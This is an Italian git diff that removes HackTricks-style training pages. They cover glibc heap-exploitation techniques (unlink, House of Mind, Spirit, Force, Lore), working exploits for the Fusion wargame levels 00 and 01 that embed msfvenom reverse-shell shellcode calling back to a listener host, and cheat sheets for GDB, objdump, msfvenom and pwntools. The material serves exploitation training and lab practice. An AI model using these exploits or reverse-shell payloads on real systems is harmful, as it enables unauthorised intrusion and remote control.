Nel buffer1 mettiamo la shellcode iniziando con un jmp per farla cadere nei nops o nel resto della shellcode.
Dopo la shellcode mettiamo riempimento fino a raggiungere il campo prev_size e size del blocco successivo. In questi posti mettiamo 0xfffffff0 (in modo che si sovrascriva il prev_size per avere il bit che dice che è libero) e “-4“(0xfffffffc) in size (in modo che quando controlla nel 3º blocco se il 2º era realmente libero vada al prev_size modificato che gli dirà che è libero) -> Così quando free() indaga andrà al size del 3º ma in realtà andrà al 2º - 4 e penserà che il 2º blocco è libero. E quindi chiamerà **unlink()**.
Chiamando unlink() userà come P->fd i primi dati del 2º blocco per cui lì si metterà l'indirizzo che si vuole sovrascrivere - 12 (poiché in FD->bk gli somma 12 all'indirizzo memorizzato in FD). E in quell'indirizzo inserirà il secondo indirizzo che trova nel 2º blocco, che ci interesserà che sia l'indirizzo alla shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev_size = pack("\<I”, 0xfffffff0) #Interessa che il bit che indica che il blocco precedente è libero sia a 1**
**fake_size = pack("\<I”, 0xfffffffc) #-4, per far pensare che il “size” del 3º blocco sia 4bytes dietro (punta a prev_size) poiché è lì che guarda se il 2º blocco è libero**
**addr_sc = pack("\<I", 0x0804a008 + 8) #Nel payload all'inizio metteremo 8bytes di riempimento**
**got_free = pack("\<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà l'indirizzo che si sovrascriverà per lanciare la shellcode la 2º volta che si chiama free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Come si è detto il payload inizia con 8 byte di riempimento perché sì**
**payload += prev_size + fake_size + got_free + addr_sc #Si modifica il 2º blocco, il got_free punta a dove andremo a memorizzare l'indirizzo addr_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando in senso inverso (wargame)**
Stiamo controllando 3 blocchi consecutivi e vengono liberati in ordine inverso rispetto a quello riservato.
In quel caso:
Nel blocco c si mette la shellcode
Il blocco a lo usiamo per sovrascrivere il b in modo che il size abbia il bit PREV_INUSE disattivato in modo che pensi che il blocco a sia libero.
Inoltre, si sovrascrive nell'intestazione b il size in modo che valga -4.
Quindi, il programma penserà che “a” sia libero e in un bin, per cui chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'intestazione PREV_SIZE vale -4. Penserà che il blocco di “a” inizi realmente in b+4. Cioè, farà un unlink() a un blocco che inizia in b+4, per cui in b+12 ci sarà il puntatore “fd” e in b+16 ci sarà il puntatore “bk”.
In questo modo, se in bk mettiamo l'indirizzo alla shellcode e in fd mettiamo l'indirizzo alla funzione “puts()”-12 abbiamo il nostro payload.
**Tecnica di Frontlink**
Si chiama frontlink quando si libera qualcosa e nessuno dei suoi blocchi contigui è libero, non si chiama unlink() ma si chiama direttamente frontlink().
Vulnerabilità utile quando il malloc che si attacca non viene mai liberato (free()).
Necessita:
Un buffer che possa essere sovrascritto con la funzione di input dei dati
Un buffer contiguo a questo che deve essere liberato e al quale si modificherà il campo fd della sua intestazione grazie al sovraccarico del buffer precedente
Un buffer da liberare con una dimensione maggiore di 512 ma minore del buffer precedente
Un buffer dichiarato prima del passo 3 che consenta di sovrascrivere il prev_size di questo
In questo modo, riuscendo a sovrascrivere in due malloc in modo incontrollato e in uno in modo controllato ma che viene liberato solo quello, possiamo fare un exploit.
**Vulnerabilità double free()**
Se si chiama due volte free() con lo stesso puntatore, rimangono due bin che puntano alla stessa indirizzo.
Nel caso si voglia riutilizzare uno, verrebbe assegnato senza problemi. Nel caso si voglia usare l'altro, gli verrebbe assegnato lo stesso spazio per cui avremmo i puntatori “fd” e “bk” falsati con i dati che scriverà la riserva precedente.
**After free()**
Un puntatore precedentemente liberato viene utilizzato di nuovo senza controllo.
## **8 Heap Overflows: Exploits avanzati**
Le tecniche di Unlink() e FrontLink() sono state eliminate modificando la funzione unlink().
**The house of mind**
Basta una chiamata a free() per provocare l'esecuzione di codice arbitrario. È importante cercare un secondo blocco che può essere sovrascritto da uno precedente e liberato.
Una chiamata a free() provoca la chiamata a public_fREe(mem), questo fa:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo dove inizia il blocco (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
…
\_int_free(ar_ptr, mem);
}
In \[1] controlla il campo size il bit NON_MAIN_ARENA, il quale può essere alterato affinché il controllo restituisca true ed esegua heap_for_ptr() che fa un and a “mem” lasciando a 0 i 2.5 byte meno significativi (nel nostro caso da 0x0804a000 lascia 0x08000000) e accede a 0x08000000->ar_ptr (come se fosse un struct heap_info)
In questo modo se possiamo controllare un blocco ad esempio in 0x0804a000 e si va a liberare un blocco in **0x081002a0** possiamo arrivare all'indirizzo 0x08100000 e scrivere quello che vogliamo, ad esempio **0x0804a000**. Quando questo secondo blocco viene liberato si troverà che heap_for_ptr(ptr)->ar_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si estrae il valore dei primi 4 byte, l'ar_ptr)
In questo modo si chiama a \_int_free(ar_ptr, mem), cioè, **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Come abbiamo visto prima possiamo controllare il valore di av, poiché è ciò che scriviamo nel blocco che si va a liberare.
Così come è definito unsorted_chunks, sappiamo che:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Pertanto, se in av->bins\[2] scriviamo il valore di \_\_DTOR_END\_\_-12 nell'ultima istruzione si scriverà in \_\_DTOR_END\_\_ l'indirizzo del secondo blocco.
Cioè, nel primo blocco dobbiamo mettere all'inizio molte volte l'indirizzo di \_\_DTOR_END\_\_-12 perché da lì lo estrarrà av->bins\[2]
Nell'indirizzo in cui cadrà l'indirizzo del secondo blocco con gli ultimi 5 zeri dobbiamo scrivere l'indirizzo a questo primo blocco affinché heap_for_ptr() pensi che l'ar_ptr sia all'inizio del primo blocco e estragga da lì l'av->bins\[2]
Nel secondo blocco e grazie al primo sovrascriviamo il prev_size con un jump 0x0c e il size con qualcosa per attivare -> NON_MAIN_ARENA
Successivamente nel blocco 2 mettiamo un sacco di nops e infine la shellcode
In questo modo si chiamerà a \_int_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in \_\_DTOR_END\_\_ l'indirizzo del prev_size del TROZO2 che salterà alla shellcode.
Per applicare questa tecnica è necessario che si soddisfino alcuni requisiti in più che complicano un po' di più il payload.
Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch che per unlink. Si confrontano se il nuovo sito a cui si punta gli sta anche puntando.
**Fastbin**
È una variante di The house of mind
ci interessa arrivare a eseguire il seguente codice al quale si arriva dopo la prima verifica della funzione \_int_free()
fb = &(av->fastbins\[fastbin_index(size)] —> Essendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = \*fb
\*fb = p
In questo modo se si mette in “fb” dà l'indirizzo di una funzione nella GOT, in questo indirizzo si metterà l'indirizzo al blocco sovrascritto. Per questo sarà necessario che l'arena sia vicina agli indirizzi di dtors. Più precisamente che av->max_fast sia all'indirizzo che andremo a sovrascrivere.
Poiché con The House of Mind si è visto che noi controllavamo la posizione dell'av.
Quindi se nel campo size mettiamo una dimensione di 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() ci restituirà fastbins\[-1], che punterà a av->max_fast
In questo caso av->max_fast sarà l'indirizzo che si sovrascriverà (non a cui punta, ma quella posizione sarà quella che si sovrascriverà).
Inoltre, deve essere soddisfatto che il blocco contiguo a quello liberato deve essere maggiore di 8 -> Poiché abbiamo detto che il size del blocco liberato è 8, in questo blocco falso dobbiamo solo mettere un size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada in nops).
Inoltre, quel stesso blocco falso deve essere minore di av->system_mem. av->system_mem si trova 1848 byte più in là.
A causa dei nulli di \_DTOR_END\_ e delle poche direzioni nella GOT, nessun indirizzo di queste sezioni serve per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack.
Un'altra forma di attacco è reindirizzare l'**av** verso lo stack.
Se modifichiamo il size per farlo diventare 16 invece di 8 allora: fastbin_index() ci restituirà fastbins\[0] e possiamo utilizzare questo per sovrascrivere lo stack.
Per questo non deve esserci alcun canary né valori strani nello stack, infatti dobbiamo trovarci in questo: 4byte nulli + EBP + RET
I 4 byte nulli sono necessari affinché l'**av** sia a questo indirizzo e il primo elemento di un **av** è il mutex che deve valere 0.
L'**av->max_fast** sarà l'EBP e sarà un valore che ci servirà per saltare le restrizioni.
Nell'**av->fastbins\[0]** si sovrascriverà con l'indirizzo di **p** e sarà il RET, così si salterà alla shellcode.
Inoltre, in **av->system_mem** (1484byte sopra la posizione nello stack) ci sarà abbastanza spazzatura che ci permetterà di saltare il controllo che si esegue.
Inoltre, deve essere soddisfatto che il blocco contiguo a quello liberato deve essere maggiore di 8 -> Poiché abbiamo detto che il size del blocco liberato è 16, in questo blocco falso dobbiamo solo mettere un size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada in nops che vanno dopo il campo size del nuovo blocco falso).
**The House of Spirit**
In questo caso cerchiamo di avere un puntatore a un malloc che possa essere alterato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile).
In questo modo, potremmo fare in modo che questo puntatore punti dove vogliamo. Tuttavia, non qualsiasi sito è valido, la dimensione del blocco falsato deve essere minore di av->max_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Perciò, se sappiamo che dopo questo puntatore vulnerabile si chiama a malloc(40), la dimensione del blocco falso deve essere uguale a 48.
Se ad esempio il programma chiedesse all'utente un numero potremmo inserire 48 e puntare il puntatore di malloc modificabile ai successivi 4byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system_mem.
Se questo viene soddisfatto, quando si chiama il successivo malloc che abbiamo detto essere malloc(40) gli verrà assegnata come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc può sovrascrivere sia l'EBP che l'EIP con l'indirizzo che desidera.
Credo che questo sia perché così quando lo libererà free() registrerà che all'indirizzo che punta all'EBP dello stack c'è un blocco di dimensione perfetta per il nuovo malloc() che si vuole riservare, quindi gli assegna quell'indirizzo.
**The House of Force**
È necessario:
- Un overflow a un blocco che consenta di sovrascrivere il wilderness
- Una chiamata a malloc() con la dimensione definita dall'utente
- Una chiamata a malloc() i cui dati possano essere definiti dall'utente
La prima cosa da fare è sovrascrivere il size del blocco wilderness con un valore molto grande (0xffffffff), così qualsiasi richiesta di memoria sufficientemente grande sarà trattata in \_int_malloc() senza necessità di espandere l'heap
La seconda è alterare l'av->top affinché punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top si metterà \&EIP - 8.
Dobbiamo sovrascrivere av->top affinché punti alla zona di memoria sotto il controllo dell'attaccante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim raccoglie il valore dell'indirizzo del blocco wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se \&EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà:
0xbffff224 - 0x080c2788 = 3086207644.
In questo modo si memorizzerà in av->top il valore alterato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.
È importante sapere che il size del nuovo blocco wilderness sia più grande della richiesta effettuata dall'ultimo malloc(). Cioè, se il wilderness sta puntando a \&EIP-8, il size rimarrà proprio nel campo EBP dello stack.
**The House of Lore**
**Corruzione SmallBin**
I blocchi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono memorizzati in unsorted bins. Un blocco viene liberato non viene immediatamente inserito nel suo bin ma rimane in unsorted bins. Successivamente, se si riserva un nuovo blocco e il precedente liberato può servirgli, lo restituisce, ma se si riserva più grande, il blocco liberato in unsorted bins viene inserito nel suo bin adeguato.
Per raggiungere il codice vulnerabile la richiesta di memoria dovrà essere maggiore di av->max_fast (72 normalmente) e minore di MIN_LARGE_SIZE (512).
Se nei bin c'è un blocco della dimensione adeguata a ciò che si richiede, si restituisce quello dopo averlo disconnesso:
bck = victim->bk; Punta al blocco precedente, è l'unica info che possiamo alterare.
bin->bk = bck; Il penultimo blocco diventa l'ultimo, nel caso in cui bck punti allo stack al successivo blocco riservato verrà data questa direzione
bck->fd = bin; Si chiude la lista facendo sì che questo punti a bin
È necessario:
Che si riservino due malloc, in modo che al primo si possa fare overflow dopo che il secondo sia stato liberato e inserito nel suo bin (cioè, si sia riservato un malloc superiore al secondo blocco prima di fare l'overflow)
Che il malloc riservato al quale si dà l'indirizzo scelto dall'attaccante sia controllato dall'attaccante.
L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto un blocco già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo blocco arriva a essere il primo della lista di bin e si riserva, a bin si ingannerà e si dirà che l'ultimo blocco della lista (il successivo a offrire) è all'indirizzo falso che abbiamo messo (allo stack o GOT per esempio). Quindi se si riserva un altro blocco e l'attaccante ha permessi su di esso, verrà dato un blocco nella posizione desiderata e potrà scriverci sopra.
Dopo aver liberato il blocco modificato è necessario riservare un blocco maggiore di quello liberato, così il blocco modificato uscirà da unsorted bins e si inserirebbe nel suo bin.
Una volta nel suo bin è il momento di modificare il puntatore bk tramite l'overflow affinché punti all'indirizzo che vogliamo sovrascrivere.
Così il bin dovrà aspettare turno affinché si chiami malloc() sufficienti volte affinché si torni a utilizzare il bin modificato e ingannare bin facendogli credere che il successivo blocco sia all'indirizzo falso. E successivamente si darà il blocco che ci interessa.
Per far eseguire la vulnerabilità il prima possibile l'ideale sarebbe: Riserva del blocco vulnerabile, riserva del blocco che si modificherà, si libera questo blocco, si riserva un blocco più grande a quello che si modificherà, si modifica il blocco (vulnerabilità), si riserva un blocco di uguale dimensione a quello vulnerato e si riserva un secondo blocco di uguale dimensione e questo sarà quello che punta all'indirizzo scelto.
Per proteggere questo attacco si usa la tipica verifica che il blocco “non” è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso se il puntatore fd\* del blocco falso puntato nello stack sta puntando a victim. Per superare questa protezione l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente dallo stack) all'indirizzo adeguato l'indirizzo di victim. Affinché così sembri un blocco vero.
**Corruzione LargeBin**
Sono necessari gli stessi requisiti di prima e qualcun altro, inoltre i blocchi riservati devono essere maggiori di 512.
L'attacco è come il precedente, cioè, bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare il size del blocco modificato in modo che quel size - nb sia < MINSIZE.
Ad esempio, si farà in modo che mettere in size 1552 affinché 1552 - 1544 = 8 < MINSIZE (la sottrazione non può risultare negativa perché si confronta un unsigned)
Inoltre è stato introdotto un patch per renderlo ancora più complicato.
**Heap Spraying**
Fondamentalmente consiste nel riservare tutta la memoria possibile per gli heap e riempire questi con un materasso di nops terminati da una shellcode. Inoltre, come materasso si utilizza 0x0c. Poiché si cercherà di saltare all'indirizzo 0x0c0c0c0c, e così se si sovrascrive qualche indirizzo a cui si andrà a chiamare con questo materasso si salterà lì. Fondamentalmente la tattica è riservare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c aspettandosi che lì ci siano nops.
**Heap Feng Shui**
Consiste nel seminare la memoria tramite riserve e liberazioni in modo che rimangano blocchi riservati in mezzo a blocchi liberi. Il buffer da sovrascrivere si situerà in uno dei blocchi.
**objdump -d eseguibile** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNZIONE** —> Ottieni indirizzo funzione\
**objdump -d -Mintel ./shellcodeout** —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes\
**objdump -t ./exec | grep varBss** —> Tabella dei simboli, per estrarre indirizzi di variabili e funzioni\
**objdump -TR ./exec | grep exit(func lib)** —> Per estrarre indirizzi di funzioni di librerie (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Estrae l'indirizzo di puts da sovrascrivere nella GOT\
**objdump -D ./exec** —> Disas ALL fino alle entrate della plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info della funzione in gdb
## Corsi interessanti
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Riferimenti**
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
{{#include ../../banners/hacktricks-training.md}}

60
src/exploiting/linux-exploiting-basic-esp/fusion.md
View File

@ -1,60 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Level00
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. Ottieni l'offset per modificare l'EIP
2. Metti l'indirizzo dello shellcode nell'EIP
```python
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
```
# Livello01
```python
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

210
src/exploiting/tools/README.md
View File

@ -1,210 +0,0 @@
# Strumenti di Sfruttamento
{{#include ../../banners/hacktricks-training.md}}
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Installa
```
apt-get install gdb
```
### Parametri
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Istruzioni
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB stessi indirizzi
Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi eseguendo:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Inserisci il percorso assoluto del binario_
- Sfrutta il binario utilizzando la stessa rotta assoluta
- `PWD` e `OLDPWD` devono essere gli stessi quando si utilizza GDB e quando si sfrutta il binario
#### Backtrace per trovare le funzioni chiamate
Quando hai un **binario staticamente collegato**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\
Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando non ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA devi riempire il percorso assoluto dell'eseguibile nella macchina Linux e nella macchina Windows)
## Ghidra
### Trova offset dello stack
**Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\
Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai bisogno di un offset di `0xbc`. Inoltre, se `local_10` è un canary cookie indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\
_Ricorda che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._
![](<../../images/image (616).png>)
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compila senza protezioni\
**-o** --> Output\
**-g** --> Salva il codice (GDB sarà in grado di vederlo)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Per disattivare l'ASLR in linux
**Per compilare un shellcode:**\
**nasm -f elf assembly.asm** --> restituisce un ".o"\
**ld assembly.o -o shellcodeout** --> Eseguibile
## Objdump
**-d** --> **Disassembla le sezioni eseguibili** (vedi opcodes di un shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\
**-Mintel** --> **Sintassi Intel**\
**-t** --> **Tabella dei simboli**\
**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\
**-s -j .dtors** --> sezione dtors\
**-s -j .got** --> sezione got\
\-D -s -j .plt --> **sezione plt** **decompilata**\
**-TR** --> **Ridenominazioni**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Indirizzo di "puts" da modificare in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA).
## Core dumps
1. Esegui `ulimit -c unlimited` prima di avviare il mio programma
2. Esegui `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
**ldd executable | grep libc.so.6** --> Indirizzo (se ASLR, allora questo cambia ogni volta)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop per vedere se l'indirizzo cambia molto\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset di "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset di "/bin/sh"
**strace executable** --> Funzioni chiamate dall'eseguibile\
**rabin2 -i ejecutable -->** Indirizzo di tutte le funzioni
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
All'interno della cartella IDA puoi trovare binari che possono essere utilizzati per eseguire il debug di un binario all'interno di un linux. Per farlo, sposta il binario _linux_server_ o _linux_server64_ all'interno del server linux e eseguilo nella cartella che contiene il binario:
```
./linux_server64 -Ppass
```
Quindi, configura il debugger: Debugger (linux remoto) --> Opzioni di processo...:
![](<../../images/image (101).png>)
{{#include ../../banners/hacktricks-training.md}}

146
src/exploiting/tools/pwntools.md
View File

@ -1,146 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
# Pwn asm
Ottieni opcodes da una riga o da un file.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Può selezionare:**
- tipo di output (raw,hex,string,elf)
- contesto del file di output (16,32,64,linux,windows...)
- evitare byte (nuove righe, null, un elenco)
- selezionare l'encoder debug shellcode utilizzando gdb eseguire l'output
# **Controllo Pwn**
Script checksec
```
pwn checksec <executable>
```
# Pwn constgrep
# Pwn cyclic
Ottieni un modello
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Può selezionare:**
- L'alfabeto utilizzato (caratteri minuscoli per impostazione predefinita)
- Lunghezza del modello unico (impostazione predefinita 4)
- contesto (16,32,64,linux,windows...)
- Prendere l'offset (-l)
# Pwn debug
Collegare GDB a un processo
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Può selezionare:**
- Per eseguibile, per nome o per contesto pid (16,32,64,linux,windows...)
- gdbscript da eseguire
- sysrootpath
# Pwn disablenx
Disabilita nx di un binario
```
pwn disablenx <filepath>
```
# Pwn disasm
Disas codici opcodes esadecimali
```
pwn disasm ffe4
```
**Può selezionare:**
- contesto (16,32,64,linux,windows...)
- indirizzo base
- colore(predefinito)/nessun colore
# Pwn elfdiff
Stampa le differenze tra 2 file
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
Ottieni la rappresentazione esadecimale
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn phd
Ottieni hexdump
```
pwn phd <file>
